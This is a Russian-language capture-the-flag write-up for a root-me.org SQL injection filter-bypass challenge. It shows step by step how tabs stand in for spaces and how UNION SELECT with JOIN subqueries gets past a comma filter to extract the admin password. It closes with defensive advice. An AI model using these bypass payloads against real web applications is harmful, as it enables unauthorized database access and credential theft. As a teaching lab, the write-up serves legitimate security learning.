Всем привет, сегодня захотелось решить задачку на информационную безопасность web-серверов. Обычно я по порядку решаю задачки с портала root-me.org, но сегодня вдруг заметил, что к сложным задачам я никак не приближаюсь. Пока я решаю одну задачу, добавляется парочка новых... Так не пойдёт, повышаем уровень сложности до максимума и берём самую сложную задачу, называется "SQL injection - Filter bypass". За решение задачки дают 80 баллов, уровень HARD.
По названию становится понятно, что иметь дело придётся с SQL инъекцией. В описании просят вытащить пароль администратора.
SQL injection — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Атака осуществляется путём внедрения (инъекции) стороннего кода в SQL запрос.
В подсказках много ссылок на статьи по SQL инъекциям.
Ссылки
Решение
Переходим на страницу задания:
http://challenge01.root-me.org/web-serveur/ch30/
Здесь у нас форма логина, попробовал залогиниться просто так, не вышло.
Сверху ссылка "Membres", посмотрим.
А вот и список пользователей:
- admin
- john
- teddy
Посмотрим исходный код страницы.
И находим подсказку.
<!--
// CREATE TABLE IF NOT EXISTS `membres` (
// `id` int(1) NOT NULL AUTO_INCREMENT,
// `username` VARCHAR(5) NOT NULL,
// `pass` VARCHAR(20) NOT NULL,
// `email` VARCHAR( 50 ) NOT NULL,
// PRIMARY KEY (`id`)
// ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
-->
Нам в комментарии показывают структуру таблицы membres:
- id (int(1)
- username VARCHAR(5)
- pass VARCHAR(20)
- email VARCHAR(50)
Видимо, нам у админа нужно вытащить значение столбца pass.
Нажмём на админа.
Нам показывают все поля пользователя, кроме пароля. ID админа равно 1, имя пользователя admin. Проверил остальных пользователей, у них идентификаторы 2 и 3 соответственно, ничего интересного.
Обращаем внимание на URL, там идентификатор передаётся в качестве параметра. Это хорошее место для проведения инъекции. Вероятно, в итоге запрос примерно такой:
SELECT *
FROM membres
WHERE ID = 1
Или
SELECT id, username, email
FROM membres
WHERE ID = 1
Попробуем заменить 1 на NULL.
id=NULL
attack detected
Обнаружена атака, значит, именно эту защиту требуется обойти. "NULL" нельзя использовать. Пробуем установить несуществующее значение id=4.
id=4
no result found
Строк в таблице не найдено с таким идентификатором. Дальше пробуем.
id=4/2 — attack detected
Нельзя использовать деление или слеш.
id=2*1
Можно использовать звёздочку.
id=2%20*%201 — attack detected
Нельзя использовать пробел (%20).
id=2%09*%091
Зато вместо пробела можно использовать табуляцию (%09).
Попробуем выбрать несуществующий ID=4 и с помощью UNION добавить ту же таблицу. У нас должна получиться конструкция:
SELECT * FROM membres
WHERE ID = 4
UNION
SELECT * FROM membres
id=4%09UNION%09SELECT%09*%09FROM%09membres
Прекрасно, мы ничего не выбрали, но атака не обнаружена. Значит, мы можем использовать UNION, SELECT, FROM. Дополнительно мы понимаем что в первоначальном запросе в SELECT запрашиваются все четыре поля таблицы.
Примечание, при использовании нижнего регистра тоже срабатывала защита.
Проверим работу WHERE.
SELECT * FROM membres
WHERE ID = 4
UNION
SELECT * FROM membres
WHERE 1
id=4%09UNION%09SELECT%09*%09FROM%09membres%09WHERE%091 — attack detected
Большое затруднение, мы не можем использовать WHERE. Но это не единственный способ ограничить результат выборки, проверим LIMIT.
SELECT * FROM membres
WHERE ID = 4
UNION
SELECT * FROM membres
LIMIT 1
id=4%09UNION%09SELECT%09*%09FROM%09membres%09LIMIT%091
Успех, мало того что мы можем использовать LIMIT, так нам не понадобится OFFEST, потому как нужная нам строка первая, у нас отобразились данные пользователя ADMIN.
Пробуем вместо * явно указать какие-нибудь параметры.
SELECT * FROM membres
WHERE ID = 4
UNION
SELECT 1,2,3,4 FROM membres
id=4%09UNION%09SELECT%091,2,3,4%09FROM%09membres — attack detected
Печально, запятая нам недоступна. Проверим JOIN и скобки.
id=4%09UNION%09SELECT%09*%09FROM%09membres%09JOIN%09SELECT%09(*)%09FROM%09membres — no result found
Отлично, можно использовать JOIN и скобки. Нам нужно составить такой запрос, который нам позволить выдернуть отдельный столбец, а не все сразу. Как раз JOIN нам поможет. Сделаем следующее:
SELECT * FROM membres
WHERE ID = 4
UNION
SELECT * FROM
(SELECT 1)t1 JOIN
(SELECT 2)t2 JOIN
(SELECT 3)t3 JOIN
(SELECT 4)t4
id=4%09UNION%09SELECT%09*%09FROM%09(SELECT%091)t1%09JOIN%09(SELECT%092)xt2%09JOIN%09(SELECT%093)t3%09JOIN%09(SELECT%094)t4
Прекрасно, мы смогли выполнить точечную выборку и вывести её на экран. Теперь попробуем вместо email отобразить пароль первого пользователя таблицы, как мы знаем, это admin с ID=1. А в email у нас выводится четвертый столбец.
SELECT * FROM membres
WHERE ID = 4
UNION
SELECT * FROM
(SELECT 1)t1 JOIN
(SELECT 2)t2 JOIN
(SELECT 3)t3 JOIN
(SELECT pass FROM membres LIMIT 1)t4
id=4%09UNION%09SELECT%09*%09FROM%09(SELECT%091)t1%09JOIN%09(SELECT%092)xt2%09JOIN%09(SELECT%093)t3%09JOIN%09(SELECT%09pass%09FROM%09membres%09LIMIT%091)t4
И мы получаем пароль админа, логинимся.
Он и есть наш флаг. Валидируем.
Флаг подходит, зарабатываем 80 очков.
Безопасность
- Защищайтесь от SQL инъекций. Одним из хороших способов является использование "параметризированных запросов".
- Не вся защита абсолютна, некоторые фильтры можно обойти. Я вообще не понимаю все эти механизмы защиты на основе фильтрации. Лучше писать код так, чтобы его нельзя было взломать инъекцией.
- Не храните пароль в БД в открытом виде.
- Не забывайте комментарии в коде.